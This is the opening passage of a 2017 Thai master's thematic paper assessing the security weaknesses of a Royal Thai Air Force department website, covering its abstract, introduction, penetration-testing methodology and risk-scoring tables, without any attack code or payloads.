
การประเมินค่าช่องโหว่ของเวบ็ไซต์และการป้องกนั  
กรณศึีกษา เวบ็ไซต์กรมควบคุมการปฏิบัตทิางอากาศ 

 

 

 

 

 

 

เรืออากาศตรีหญงิ ณชัณภทัร  ใจอดทน 

 

 

 

 

สารนิพนธ์นีเ้ป็นส่วนหน่ึงของการศึกษาตามหลกัสูตรวศิวกรรมศาสตรมหาบัณฑติ 
สาขาวชิาวศิวกรรมคอมพวิเตอร์และโทรคมนาคม 

วทิยาลยันวตักรรมด้านเทคโนโลยแีละวศิวกรรมศาสตร์  
มหาวทิยาลยัธุรกจิบณัฑติย์ 

พ.ศ. 2560 



Website Vulnerability Assessment and Defense :   
A Case study of  Directorate of Air Operations Control 

 
 
 
 
 
 

 
 

Pilot Officer. NACHNAPHAT  JAI-ODTON 
 
 
 
 

 
 
 

 

A Thematic Paper Submitted in Partial Fulfillment of the Requirements 
for the Degree of Master of Engineering 

Department of Computer and Telecommunication Engineering 
College of Innovative Technology And Engineering, 

Dhurakij Pundit University  
2017 



ค 

 

หัวข้อสารนิพนธ์ การประเมินค่าช่องโหวข่องเวบ็ไซตแ์ละการป้องกนั  
กรณีศึกษา เวบ็ไซตก์รมควบคุมการปฏิบติัทางอากาศ 

ช่ือผู้เขียน  ร.ต.หญิง ณชัณภทัร  ใจอดทน 
อาจารย์ทีป่รึกษา  ดร.ชยัพร เขมะภาตะพนัธ์ 
สาขาวชิา  วศิวกรรมคอมพิวเตอร์และโทรคมนาคม 
ปีการศึกษา  2559 

 
บทคดัย่อ 

สารนิพนธ์ฉบบัน้ีได้ท าการศึกษา คน้ควา้เพื่อหาช่องโหว่หรือจุดอ่อนของเว็บไซต์ 
กรณีศึกษาเวบ็ไซตก์รมควบคุมการปฏิบติัทางอากาศ  “www.daoc.rtaf.mi.th”  วา่เวบ็ไซตด์งักล่าวมี
ช่องโหว่หรือจุดอ่อนหรือไม่ ช่องโหว่หรือจุดอ่อนนั้นมีระดับความรุนแรงและมีผลกระทบต่อ
เว็บไซต์อย่างไร โดยใช้โปรแกรม Acunetix Web Vulnerability Scanner เป็นเคร่ืองมือในการ
ตรวจหาช่องโหว่ของเวบ็ไซต์และการหาช่องโหว่โดยใช้วิธีการทดสอบเจาะระบบโดยใช้เทคนิค 
Local File Disclosure ในการหาช่องโหว่ ซ่ึงผูว้ิจยัได้แบ่งขั้นตอนในการหาช่องโหว่ของเวบ็ไซต ์
เป็น 3 ขั้นตอน ประกอบดว้ย 

 (1) การวางแผนและเตรียมการ (Planning and Preparation) 
 (2) การประเมินค่าของช่องโหว ่(Vulnerability Assessment) 
 (3) การท ารายงานวิธีการแก้ไขและการป้องกันช่องโหว่ (Report how to fix and 

prevent vulnerabilities)    
ผลลัพธ์จากการศึกษาค้นควา้แสดงให้เห็นว่าผูว้ิจ ัยสามารถตรวจพบช่องโหว่ของ

เวบ็ไซตก์รมควบคุมการปฏิบติัทางอากาศ  รวมทั้งส้ินจ านวน 5 ช่องโหว ่ซ่ึงเป็นช่องโหวท่ี่มีความ
รุนแรงระดบัสูง 1 ช่องโหว ่ ช่องโหวท่ี่มีความรุนแรงระดบัปานกลาง 1 ช่องโหว่ และช่องโหวท่ี่มี
ความรุนแรงระดบัต ่า 3ช่องโหว ่ โดยช่องโหวท่ี่มีความรุนแรงระดบัสูง แฮกเกอร์สามารถน าไปใช้
ประโยชน์ในการโจมตีเวบ็ไซตด์งักล่าวและเวบ็ไซตอ่ื์น ๆ ท่ีอยูภ่ายใตโ้ดเมนเนม “daoc.rtaf.mi.th”  
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Abstract 
 

 This independent studies about weakness or vulnerability of the website of  Directorate of 
Air Operations Control,“www.daoc.rtaf.mi.th”. The independent study shows the impact level of 
vulnerability on the website. Acunetix Web Vulnerability Scanner is used as a tool for 
vulnerability assessment. However, Local File Disclosure technique is applied for testing the 
website vulnerability. The studying process is divided into 3 steps as following  
  1. Planning and preparation 
  2. Vulnerability assessment 
  3. Report how to fix and prevent vulnerabilities  
  The studied results show that the researcher found 5 total vulnerabilities: 1 high risk, 1 
medium risk and 3 low risks. Consequently, the hacker can deploy the high risk vulnerability to 
attack all websites under the domain name “daoc.rtaf.mi.th”. 
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บทที ่ 1 
บทน ำ 

 

1.1  หลกักำรและเหตุผล 
ในระยะเวลาไม่ก่ีปีผ่านมา [1] นับตั้งแต่อินเทอร์เน็ตและเทคโนโลยีในการส่ือสาร  

ได้รับการพฒันาไปอย่างรวดเร็ว จนกระทัง่ในปัจจุบนัแทบไม่มีใครในโลกท่ีไม่รู้จกัอินเทอร์เน็ต  
ท าให้ประเทศต่าง ๆ สามารถพฒันาศกัยภาพทางด้านไซเบอร์ได้อย่างรวดเร็ว ซ่ึงก่อให้เกิดภัย
คุกคามต่าง ๆ หลากหลายรูปแบบ โดยเฉพาะอยา่งยิ่ง การท าสงครามไซเบอร์ ไดมี้การปรับเปล่ียน
รูปแบบจากเดิมท่ีเป็นการจารกรรมข้อมูล กลายเป็นการโจมตีเพื่อมุ่งเน้นท าลายล้างเป็นส าคญั  
ซ่ึงรูปแบบของการท าสงครามไซเบอร์นั้นมีวตัถุประสงคแ์ละจุดมุ่งหมายเหมือนกบัการท าสงคราม 
ในรูปแบบปกติทุกอยา่ง เพียงแต่เทคนิคและยุทธวิธีนั้นแตกต่างออกไป ซ่ึงการท าสงครามไซเบอร์
นบัไดว้่า เป็นทางเลือกท่ีดี เพราะถือว่าเป็นสงครามท่ีใช้ตน้ทุนต ่า แต่สามารถสร้างผลกระทบได้
เป็นวงกวา้ง และสร้างความเสียหายอยา่งคาดไม่ถึง  

จากสถานการณ์ไซเบอร์ในปัจจุบัน  [2] ประเทศไทยโดยกระทรวงเทคโนโลยี 
สารสนเทศและการส่ือสาร ไดต้ั้งศูนยป์ฏิบติัการความมัน่คงปลอดภยัทางไซเบอร์ ( Cyber Security 
Operation Center : CSOC ) เม่ือปี 2553 โดยมุ่งเน้นการด าเนินการติดตาม เฝ้าระวงั ตรวจสอบ
วเิคราะห์เวบ็ไซต ์และขอ้มูลอินเทอร์เน็ตท่ีไม่เหมาะสม หรือผดิกฎหมายต่าง ๆ โดยเฉพาะเวบ็หม่ิน
สถาบนั ต่อมาในปี ๒๕๕๖ รัฐบาลปัจจุบนัไดต้ระหนกัถึง ภยัคุกคามดา้นไซเบอร์ ถึงแมว้า่ประเทศ
ไทยจะมีมาตรการทางกฎหมาย และมีหน่วยงานของรัฐก ากบัดูแลภยัคุกคามดา้นน้ีมาแลว้หลายปี  
แต่แนวโน้มความรุนแรงและการขยายตวัของภยัคุกคามยงัมีความต่อเน่ือง แพร่หลายไปกระทบ
ความเช่ือมัน่ดา้นความมัน่คงของประเทศในดา้นต่าง ๆ ดงันั้นรัฐบาลจึงไดแ้ต่งตั้ง คณะกรรมการ
ความมั่นคงปลอดภัยไซ เบอร์แห่งชาติ  ( National Cyber Security Committee : NCSC ) ซ่ึ งมี
นายกรัฐมนตรีฯ เป็นประธาน และหน่วยงานท่ีเก่ียวขอ้งดา้นความมัน่คง กระบวนการยติุธรรมและ
ดา้นเศรษฐกิจ ร่วมเป็นกรรมการโดยมีเจา้กรมเทคโนโลยีสารสนเทศและกิจการอวกาศกลาโหม 
เป็นเลขานุการฯ โดยมีหน้าท่ีหลักในการจดัท านโยบายความมั่นคงปลอดภัยไซเบอร์แห่งชาติ 
เพื่อให้ประเทศไทยมีขีดความสามารถในการปกป้อง ป้องกัน รับมือ และลดความเส่ียงจาก
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สถานการณ์ดา้นภยัคุกคามในไซเบอร์ ท่ีกระทบต่อความมัน่คงของชาติ ทั้งจากภายในและภายนอก
ประเทศ  ครอบคลุมถึงความมัน่คงทางการทหาร ความสงบเรียบร้อยภายในประเทศ และความ
มัน่คงทางเศรษฐกิจ ตลอดจนติดตามและประเมินผลการปฏิบติัท่ีเก่ียวขอ้งเพื่อให้เกิดการบูรณาการ
การท างานของหน่วยงานต่างๆ ท่ีเก่ียวขอ้ง อนัจะก่อให้เกิดประสิทธิภาพและประสิทธิผลในการ
บริหารจดัการความมัน่คงปลอดภัยไซเบอร์ สอดคล้องกับแนวทางการจดัการด้านเทคโนโลยี
สารสนเทศและการส่ือสารของประชาคมอาเซียน 

หากกล่าวถึงระบบสารสนเทศของกองทพัอากาศ จะเห็นได้ว่ามีแนวทางในเร่ืองการ
รักษาความปลอดภยัของระบบสารสนเทศเป็นลายลกัษณ์อกัษร ตั้ งแต่ปี พ.ศ. 2552 คือระเบียบ
กองทัพอากาศ ว่าด้วยการรักษาความปลอดภัยระบบสารสนเทศของกองทัพอากาศ  [3]  โดย
ระเบียบน้ีมีความมุ่งหมายเพื่อก าหนดหลักการและมาตรการป้องกันภยัของระบบสารสนเทศ 
ของกองทพัอากาศ พิทกัษรั์กษา และป้องกนัสารสนเทศท่ีก าหนดชั้นความลบัมิให้ร่ัวไหล หรือรู้ไป
ถึง หรือตกไปอยู่กับบุคคลผูไ้ม่มีอ านาจหน้าท่ีท่ีจะต้องรับทราบ พิทักษ์รักษาและป้องกันการ 
ก่อวินาศกรรมแก่ระบบสารสนเทศของกองทัพอากาศ ในส่วนของระบบคอมพิวเตอร์ 
และระบบส่ือสารขอ้มูล เพื่อให้การด าเนินการตามระเบียบกองทพัอากาศ  ว่าดว้ยการรักษาความ
ปลอดภยัระบบสารสนเทศของกองทพัอากาศ  พ.ศ. 2552 เป็นไปอยา่งมีประสิทธิภาพ เป็นรูปธรรม 
และสอดคล้องกบัภยัคุกคามรูปแบบใหม่ท่ีก าลงัเผชิญอยู่ในปัจจุบนั นอกจากนั้นกองทพัอากาศ
ยงัให้ความส าคญักับการเผยแพร่ข้อมูลต่าง ๆ  ผ่านทางเว็บไซต์ เพื่อให้ประชาชนหรือผูส้นใจ
สามารถเขา้ใชบ้ริการได ้ท าใหเ้กิดความเส่ียงท่ีจะไดรั้บความเสียหายจากผูไ้ม่ประสงคดี์ (แฮกเกอร์) 
ไดง่้าย  เน่ืองจากแฮกเกอร์สามารถมองเห็นช่องโหว่หรือจุดอ่อนของเวบ็ไซตผ์่านทางพอร์ต (Port) 
ท่ี จ  า เป็ น ต้อ ง เปิ ด ใช้ ง าน ผ่ านท าง เว็บ เซิ ร์ฟ เวอ ร์  (Web server) แล ะ เว็บ แอพพ ลิ เคชั่ น  
(Web application) ในปัจจุบัน แฮกเกอร์จึงนิยมใช้วิธีการท่ีเรียกว่า เว็บแอพพลิเคชั่นแฮกก้ิง  
(Web  application hacking) ในการเจาะเขา้สู่ระบบ นอกจากน้ี การให้บริการเว็บไซต์ยงัตอ้งเผชิญ
กบัภยัคุกคามในรูปแบบต่าง ๆ ซ่ึงส่วนหน่ึงมาจากการท่ีผูพ้ฒันาเวบ็ไซต ์มกัไม่ให้ความส าคญักบั
ความปลอดภยัของระบบ และการหาแนวทางป้องกนัท่ีมีประสิทธิภาพเป็นไปได้ยาก จึงมีความ
จ าเป็นอยา่งยิ่งท่ีตอ้งหาวิธีป้องกนัเวบ็ไซต์จากการถูกโจมตี เน่ืองจากหากมีการโจมตีในระบบของ
หน่วยงานใดก็ตาม ท่ี ข้ึนตรงต่อกองทัพอากาศ จะสามารถก่อให้เกิดความเสียหายต่อระบบ
สารสนเทศอ่ืน ๆ ภายในกองทพัอากาศได้ เน่ืองจากระบบสารสนเทศในกองทพัอากาศเป็นระบบ
สารสนเทศแบบเครือข่ายท่ีมีการเช่ือมโยงกนัทั้งระบบ 



3 
 

 
 

กรมควบคุมการปฏิบติัทางอากาศ เป็นหน่วยงานข้ึนตรงต่อกองทพัอากาศหน่วยงาน
หน่ึง   ท่ีมีการเผยแพร่ขอ้มูลต่าง ๆ เก่ียวกบัการใชก้ าลงัทางอากาศผา่นทางเวบ็ไซตข์องกรมควบคุม
การปฏิบติัทางอากาศ เพื่อให้บริการแก่ก าลงัพลของกองทพัอากาศและบุคคลทัว่ไปให้สามารถเขา้
ใชบ้ริการสืบคน้ขอ้มูลและดาวน์โหลดขอ้มูล จึงมีความเส่ียงต่อการถูกโจมตีจากผูไ้ม่ประสงคดี์ 

 ดว้ยเหตุน้ี จึงมีความจ าเป็นท่ีตอ้งมีการศึกษา คน้ควา้เพื่อหาช่องโหวห่รือจุดอ่อน
ของเว็บไซต์ว่ามีช่องโหว่หรือจุดอ่อนหรือไม่ แล้วช่องโหว่หรือจุดอ่อนนั้นมีระดบัความรุนแรง 
และมีผลกระทบต่อเวบ็ไซตอ์ยา่งไร เพื่อหาแนวทางการป้องกนัการถูกโจมตีจากการใชป้ระโยชน์
จากช่องโหว่หรือจุดอ่อนของเวบ็ไซต์กรมควบคุมการปฏิบติัทางอากาศเพื่อใชเ้ป็นแนวทางในการ
พฒันาเวบ็ไซตข์องกรมควบคุมการปฏิบติัทางอากาศใหมี้ความมัน่คง ปลอดภยั 
 
1.2  วตัถุประสงค์ของกำรวจัิย  

1.2.1.  เพื่อศึกษาถึงการโจมตีโดยการใช้ประโยชน์จากช่องโหว่หรือจุดอ่อนของเว็บไซต ์
กรมควบคุมการปฏิบติัทางอากาศ  
 1.2.2   เพื่อก าหนดวิธีในการแกไ้ขและหาแนวทางป้องกนัช่องโหว่หรือจุดอ่อนของเวบ็ไซต ์
กรมควบคุมการปฏิบติัทางอากาศ ใหมี้ความมัน่คง ปลอดภยั 
 
1.3  สมมติฐำนกำรวจัิย 

เพื่อเป็นแนวทางในการวจิยั ผูว้จิยัไดต้ั้งสมมติฐานของการวจิยัดงัน้ี 
 1.3.1.   สามารถตรวจพบช่องโหว่หรือจุดอ่อนของเวบ็ไซต์กรมควบคุมการปฏิบติัทางอากาศ 
ด้วยวิธีการใช้เคร่ืองมือส าเร็จรูปในการตรวจหาช่องโหว่และการทดสอบเจาะระบบโดยผูท้  า 
การวจิยั 
 1.3.2   สามารถประเมินความรุนแรงของช่องโหว่หรือจุดอ่อนท่ีพบ ว่ามีระดับความรุนแรง 
มากนอ้ยเพียงใด เพื่อน ามาใชเ้ป็นแนวทางในการแกไ้ขช่องโหวห่รือจุดอ่อนของเวบ็ไซต ์

 
1.4   ขอบเขตกำรวจัิย 
 ผูว้จิยัไดก้  าหนดขอบเขตของการวจิยัไวด้งัน้ี 
 1.4.1  ศึกษาช่องโหวห่รือจุดอ่อนของเวบ็ไซตโ์ดยใชเ้คร่ืองมือ Acunetix Web Vulnerability  
Scanner  เป็นเคร่ืองมือในการตรวจหาช่องโหวห่รือจุดอ่อนของเวบ็ไซต ์
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 1.4.2   ศึกษาช่องโหวห่รือจุดอ่อนของเวบ็ไซตโ์ดยวธีิทดสอบเจาะระบบโดยผูท้  าการวิจยั 
 1.4.3   ศึกษาแนวทางในการป้องกนัการเขา้ถึงช่องโหว่หรือจุดอ่อนของเวบ็ไซต์  ในกรณีท่ีมี 
แนวทางป้องกนัมากกว่า 1 แนวทางสารนิพนธ์ฉบับน้ีจะเลือกแนวทางท่ีเหมาะสมท่ีสุดโดยให ้
เหตุผลทางเทคนิคประกอบ 
 
1.5  ประโยชน์ทีค่ำดว่ำจะได้รับ 
 1.5.1.  สามารถเขา้ใจถึงวธีิการโจมตีโดยการใชป้ระโยชน์จากช่องโหวห่รือจุดอ่อนในเวบ็ไซต์
ของเวบ็ไซตก์รมควบคุมการปฏิบติัทางอากาศ  
 1.5.2  ทราบถึงวิธีในการแก้ไขและหาแนวทางป้องกันช่องโหว่หรือจุดอ่อนของเว็บไซต ์
กรมควบคุมการปฏิบติัทางอากาศ  เพื่อใหเ้วบ็ไซตมี์ความมัน่คงปลอดภยัมากข้ึน  
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บทที ่2 
แนวคดิและทฤษฎทีี่เกีย่วข้อง 

 
กล่าวน า 

ปัญหาด้านความปลอดภยัของขอ้มูล (Information Security) [4] ได้เข้ามามีบทบาทท่ี
ส าคญัและสร้างความเสียหายให้กบังานระบบสารสนเทศขององคก์ร ทั้งน้ีท าให้องคก์รต่าง ๆ หัน
มาให้ความสนใจในเร่ืองของการบริหารความเส่ียงระบบสารสนเทศ (IT Risk Management) โดย
ใช้วิธีการตรวจสอบหลายประเภทแตกต่างกัน ซ่ึงในงานวิจยัน้ีผูว้ิจยัได้เลือกใช้การตรวจสอบ
ประเภทการประเมินช่องโหวข่องเวบ็ไซตแ์ละการป้องกนั (Website Vulnerability Assessment and 
Defense) ซ่ึงเป็นมาตรฐานท่ียอมรับในระดบัสากล  

เวบ็ไซตถู์กใชเ้ป็นเคร่ืองมือท่ีส าคญัของหน่วยงานต่างๆในการส่ือสาร ประชาสัมพนัธ์ 
 หรือให้บริการออนไลน์ต่าง ๆ กบัผูใ้ช้งานผ่านเครือข่ายอินเทอร์เน็ตสาธารณะ ดว้ยลกัษณะของ
บริการเวบ็ไซต์ท่ีเปิดให้ผูใ้ช้งานสามารถเขา้ถึงได้อยู่ตลอดเวลา ท าให้บริการเว็บไซต์ท่ีไม่มีการ
รักษาความมัน่คงปลอดภยัท่ีดี มีความเส่ียงจากการถูกโจมตีจากผูไ้ม่ประสงค์ดี (แฮกเกอร์) ไดอ้ยู่
ตลอดเวลาเช่นกัน โดยภยัคุกคามรูปแบบหน่ึงท่ีมกัจะเกิดข้ึนกับบริการเว็บไซต์ คือการโจมตี
เวบ็ไซต์เพื่อเปล่ียนแปลงขอ้มูลเผยแพร่หน้าเวบ็ (Website Defacement) ซ่ึงผูโ้จมตีมีวตัถุประสงค์
เพื่อปรับเปล่ียนหน้าเวบ็ไซต์หน้าแรกของเวบ็ไซต์เป้าหมาย หรือทั้งเวบ็ไซต์ จากเดิมไปเป็นหน้า
เวบ็ไซตใ์หม่ เพื่อตอ้งการท าลายความน่าเช่ือถือของหน่วยงานเจา้ของเวบ็ไซต์ ซ่ึงในเวบ็ไซตท่ี์ถูก
โจมตีส่วนใหญ่จะปรากฏรูปภาพหรือขอ้ความท่ีบ่งบอกถึงวา่เวบ็ไซตไ์ดถู้กโจมตีไดส้ าเร็จ 

โดยรูปแบบของการโจมตีในลกัษณะ Website Defacement เป็นการโจมตีท่ีนิยมมาก
ท่ีสุดในหมู่ผูโ้จมตีหรือแฮกเกอร์เน่ืองจากสามารถเขา้โจมตีไดง่้ายและการโจมตีมกัไดผ้ลทางดา้น
การสูญเสียความน่าเช่ือถืออย่างรวดเร็ว รวมถึงสามารถต่อยอดในการโจมตีส่วนประกอบหรือ
บริการอ่ืนๆบนเคร่ืองแม่ข่ายนั้น ๆ ด้วย ยิ่งหากผูพ้ฒันาหรือผูดู้แลระบบไม่มีการปิดช่องโหว่
ดังกล่าวแล้ว อาจท าให้ผู ้โจมตีสามารถสร้างความเสียหายให้กับเว็บไซต์อ่ืน ๆ ท่ีอยู่บนเว็บ
เซิร์ฟเวอร์เดียวกนัได ้

ในบทน้ีเป็นเร่ืองเก่ียวกับแนวคิดและทฤษฎีท่ี เก่ียวข้อง ประกอบไปด้วยหัวข้อ
ดงัต่อไปน้ี 
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2.1  หลกัการทดสอบเจาะระบบของผูท้ดสอบ 
2.2  การวิ เคราะห์ ช่องโหว่และการประเมินความเส่ียง (Vulnerability and  Risk 

Analysis) 
2.3  เคร่ืองมือส าหรับตรวจหาช่องโหว ่
2.4  Open Web Application Security Project (OWASP) 
2.5  ขอ้มูลของช่องโหวท่ี่เก่ียวขอ้ง 
2.6  ตวัอยา่งของเวบ็ไซตท่ี์มีช่องโหวแ่ละเคยถูกโจมตี 
 

2.1  หลกัการทดสอบเจาะระบบของผู้ทดสอบ [5] 
การทดสอบเจาะระบบ Penetration Testing จะแตกต่างจาก Vulnerability Assessment 

คือท ามากกวา่หรือพิสูจน์ถึงภยัท่ีอาจเกิดข้ึน โดยจะทดลองท าการเสมือนจริง ไม่วา่จะเป็นการเจาะ
ระบบ (Exploitation), การยกระดับสิทธ์ิของ User หรือแม้กระทั่งสร้าง Backdoor ข้ึนมาภายใน
ระบบเองก็ตาม แต่  Vulnerability Assessment จะเป็นเพียงการค้นหาตามขั้นตอนการท างานท่ี
ผดิพลาด หรือภยัต่างๆ ตามท่ีปรากฏในปัจจุบนั ไม่สามารถท าการทดสอบการโจมตีท่ีเป็นพวก Dos 
ได ้ ซ่ึง Penetration Testing จะพยายามคน้หาช่องโหวใ่หม่ๆ ทุกวิถีทางท่ีจะท าให้ระบบนั้นเป็นภยั
อนัตราย รวมถึงการทดสอบนั้นจะท าใหร้ะบบไม่สามารถใหบ้ริการไดอี้กดว้ย  

สารนิพนธ์ฉบบัน้ีได้น าหลกัการทดสอบเจาะระบบและการประเมินค่าของช่องโหว ่
มาประยุกต์ใช้ร่วมกัน เพื่อให้ทราบถึงวิธีการเจาะระบบของแฮกเกอร์ อย่างแท้จริง และวิธีการ
ประเมินช่องโหว่ ว่าเว็บไซต์มีช่องโหว่หรือไม่ เพื่อน าผลลัพธ์ท่ีได้จากการทดสอบมาหาแนว
ทางการป้องกันและแก้ไข ต่อไป โดยสารนิพนธ์น้ีได้ท าการตรวจหาช่องโหว่ของเว็บไซต์
กรณีศึกษาเวบ็ไซต์กรมควบคุมการปฏิบติัทางอากาศ โดยมีขั้นตอนการด าเนินการดงัแสดงในภาพ 
ท่ี 3.1 
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ภาพท่ี 2.1  ขั้นตอนการด าเนินการตรวจหาช่องโหวข่องเวบ็ไซต ์

 
 2.1.1  วางแผนและเตรียมการ (Planning and Preparation)     

  ก าหนดขอบเขตของเป้าหมายในการหาช่องโหว่ของเว็บไซต์ เช่น หาช่องโหว ่
ของ Web Application ท่ีให้บริการท่ีพอร์ต 80 เท่านั้น แต่จะไม่รวมถึงเคร่ืองท่ี Web Application นั้น
ท างานอยู ่หรือ Service ต่างๆ ท่ีท างานในพอร์ตอ่ืนๆ เป็นตน้ 
 2.1.2 การประเมินช่องโหว่ (Vulnerability Assessment) [6] 

  เป็นขั้นตอนการทดสอบเพื่อทดสอบว่าเว็บไซต์มีความปลอดภยัมากน้อยเพียงใด  
ซ่ึงในการทดสอบนั้นอาจจะเพื่อคน้หาขอ้มูลส าคญั เช่น ไฟล์ท่ีเก็บรหสัผา่น ขอ้มูลท่ีมีชั้นความลบั
สูง เป็นตน้ การทดสอบเจาะเขา้ระบบนั้นแบ่งออกเป็น 2 ประเภทคือ การทดสอบเจาะโดยมีขอ้มูล 
ท่ีเก่ียวขอ้งกบัระบบบา้ง และการเจาะระบบโดยเร่ิมจากการไม่มีขอ้มูลเก่ียวกบัระบบเลย ซ่ึงการ
เจาะประเภทแรกนั้นมกัจะท าโดยเร่ิมจากเครือข่ายภายใน โดยสมมติว่าผูท่ี้พยายามเจาะระบบนั้น
เป็นพนักงานขององค์กรท่ีพอมีความรู้หรือข้อมูลเก่ียวกับระบบหรือเครือข่ายขององค์กร ส่วน
ประเภทท่ีสองนั้นเป็นการทดสอบเจาะระบบจากภายนอก โดยสมมติวา่เป็นผูใ้ชท้ ัว่ไปท่ีไม่มีความรู้
หรือขอ้มูลเก่ียวกบัองคก์รมากนกั โดยสารนิพนธ์น้ีเลือกใชว้ิธีการทดสอบเจาะระบบโดยมีขอ้มูลท่ี
เก่ียวขอ้งกบัระบบบา้ง และน าขอ้มูลท่ีไดจ้ากการทดสอบมาท าการวิเคราะห์ความรุนแรงของช่อง
โหวแ่ละประเมินเมินความเส่ียง เพื่อหาแนวทางการป้องกนัและแกไ้ข โดยขั้นตอนของการทดสอบ
เจาะระบบท่ีผูว้จิยัน ามาใชเ้ป็นแนวทางในการทดสอบ มี 3 ขั้นตอน ดงัน้ี  
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  2.1.2.1  การส ารวจขอ้มูล (Reconnaissance) [5] 
    เป็นการค้นหาข้อมูลต่าง ๆ ของเป้าหมาย เช่นการตรวจสอบหมายเลข IP 
Address หรือรายช่ือ Service ท่ีเปิดใช้งานอยู่ การส ารวจขอ้มูลสามารถน าไปสู่การพบขอ้มูลท่ีมี
ประโยชน์เพื่อใชใ้นการโจมตี ตวัอยา่งเช่น หาก แฮกเกอร์ สามารถหาขอ้มูลไดง่้ายๆ เช่น โปรแกรม
ท่ีท า Web Server และเวอร์ชัน่ของระบบปฏิบติัการ ก็อาจจะท าให ้แฮกเกอร์ สามารถรู้ช่องโหวข่อง
ระบบ และใชป้ระโยชน์จากช่องโหวน่ั้นเพื่อเขา้ไปในระบบก็เป็นได ้ 
  2.1.2.2 การสแกนระบบ (Scanning) 
    การสแกน (Scanning) เป็นการน าข้อมูลท่ีรวบรวมมาได้จากขั้นตอน การ
ส ารวจขอ้มูล (Reconnaissance) มาอธิบายถึงโครงสร้าง ของเครือข่ายเป้าหมาย รูปแบบการท างานท่ี 
แฮกเกอร์ ส่วนใหญ่ใช้ก็ คือการสแกนพอร์ตของเคร่ือง Server เช่น การท า Network Mapper 
(Nmap) เพื่อตรวจสอบว่าเคร่ือง Server ในเครือข่ายเป้าหมายเปิดให้บริการอยู่หรือไม่ รวมถึงการ
คน้หาช่องโหว่ต่างๆ ของระบบเครือข่ายอีกดว้ย ซ่ึงหากแฮกเกอร์ ไดข้อ้มูลส าคญัต่างๆ ครบถว้น
หรือเพียงพอบางส่วน เช่น ช่ือเคร่ือง Server, หมายเลข IP Address ของเคร่ืองเป้าหมาย หรือ รายช่ือ 
User Account คนส าคญั ก็จะท าใหม้องเห็นช่องทางในการเจาะระบบเขา้ไปได ้ 
  2.1.2.3 การเขา้ถึงเป้าหมาย (Gaining Access)  
    ขั้นตอนน้ีจะเร่ิมเขา้สู่การโจมตีหรือเจาะช่องท่ีโหวท่ี่ถูกตรวจพบ (เป็นขั้นตอน
การ Hacking จริงๆ) ข้อมูลท่ีเก็บรวบรวมอยู่ในระหว่างขั้นตอนการ Reconnaissance และการ 
Scanning  จะถูกน ามาใชเ้พื่อใหส้ามารถเขา้ถึงเคร่ืองหรือเครือข่ายเป้าหมายได ้ 
 2.1.3  การท ารายงานและส่ิงทีแ่นะน าให้ท า (Reporting and Clean) 

  คือขั้นตอนการสรุปงานในแต่ละขั้นตอนวา่ไดข้อ้มูลอะไรบา้ง เช่น ระบบมีช่องโหว่
ตรงไหนบา้ง ในแต่ละช่องโหว่มีความร้ายแรงมากน้อยเพียงใด ส่งผลต่อระบบใดบา้ง และแต่ละ
ช่องโหวห่รือระบบมีจุดไหนท่ีควรแกไ้ขอยา่งไร เป็นตน้ ซ่ึงการท ารายงานน้ีถือเป็นหวัใจหลกัของ 
การทดสอบเจาะระบบ เพราะทางผูท้ดสอบจ าเป็นจะต้องเขียนเน้ือหาสรุปใจความให้กระชับ 
และเขา้ใจง่าย อีกทั้งยงัใหค้  าแนะน าวา่ช่องโหวไ่หนควรจะแกไ้ขอยา่งไร และใครควรเป็นผูแ้กไ้ข  
 
2.2   การวิเคราะห์ความรุนแรงของช่องโหว่และการประเมินความเส่ียง (Vulnerability and  Risk 
Analysis) [11] 
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 ในขั้นตอนการวิเคราะห์ความเส่ียงน้ีจะน าช่องโหว่หรือจุดอ่อนท่ีค้นพบนั้นมาจดั
ระดบัความเส่ียง โดยจุดอ่อนท่ีมีระดบัความเส่ียงต ่าหมายถึงจุดอ่อนมีความรุนแรงต ่า จุดอ่อนท่ีมี
ความเส่ียงสูงหมายถึงจุดอ่อนท่ีอาจก่อให้เกิดความเสียหายต่อระบบสูงหรือมีระดบัความรุนแรงสูง 
และง่ายต่อการโจมตี โดยใชห้ลกัการวิเคราะห์ความรุนแรงของช่องโหวแ่ละการประเมินความเส่ียง 
ดงัน้ี 
 2.2.1  การวิเคราะห์ช่องโหว่และการประเมินความเส่ียง [12] สามารถอธิบายได้ดัง แสดงตาม
ตารางที ่2.1 – 2.2 

ตารางท่ี 2.1 การวเิคราะห์ความง่ายต่อการเขา้ถึงช่องโหว ่

ความง่าย ระดับ
คะแนน 

รายละเอยีด 

ง่ายมาก 3 ช่องโหวส่ามารถเขา้ถึงจากเทคนิคทัว่ไป โดยไม่ตอ้งยนืยนัตวัตน 

ปาน
กลาง 

2 ช่องโหวส่ามารถเขา้ถึงจากเทคนิคทัว่ไป โดยตอ้งผา่นการยนืยนัตวัตน 

ยาก 1 ช่องโหวต่อ้งอาศยัการโจมตีผา่นเทคนิคเฉพาะ และการยนืยนัตวัตน 

 
ตารางท่ี 2.2 การวเิคราะห์ผลกระทบท่ีจะเกิดข้ึนต่อระบบ 

ผลกระทบ ระดับ
คะแนน 

รายละเอยีด 

มาก 3 ช่องโหวส่ามารถขดัขวาง หรือยติุการใหบ้ริการ หรือท าให้ขอ้มูลเสียหาย
ได ้

ปานกลาง 2 ช่องโหวไ่ม่สามารถท าใหร้ะบบหยดุการใหบ้ริการได ้หรือจ าเป็นจะตอ้ง
อาศยัช่องโหวอ่ื่นๆ ช่วยในการท าใหร้ะบบยติุการใหบ้ริการ 

นอ้ย 1   ช่องโหวไ่ม่สามารถยติุการใหบ้ริการได ้แต่ท าใหไ้ดข้อ้มูลพื้นฐาน
เก่ียวกบัการใหบ้ริการ 
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 2.2.2 การประเมินความเส่ียง 
      การจัดระดับความเส่ียงของช่องโหว่หรือจุดอ่อนท่ีค้นพบก็จะช่วยในการล าดับ
ความส าคญัวา่ช่องโหวห่รือจุดอ่อนไหนจ าเป็นท่ีตอ้งแกไ้ขหรือป้องกนัก่อน 
      ระดบัความเส่ียง = ความง่ายต่อการเขา้ถึงช่องโหว ่x  ผลกระทบต่อระบบ 

ตารางท่ี 2.3 แสดงการประเมินความเส่ียง 
ระดับความเส่ียง คะแนน 

สูง 7 - 9 
กลาง 4 - 6 
ต ่า 0 – 3 

 
2.3  เคร่ืองมือส าหรับตรวจหาช่องโหว่ 

 เคร่ืองมือส าหรับตรวจหาช่องโหว่นอกจากเป็นเคร่ืองมือส าหรับแฮ็คเกอร์ (Black  
แฮกเกอร์) แลว้ ยงัช่วยให้เราสามารถทดลองใช้ เพื่อตรวจสอบและป้องกนัช่องโหวไ่ดอี้กดว้ย ใน
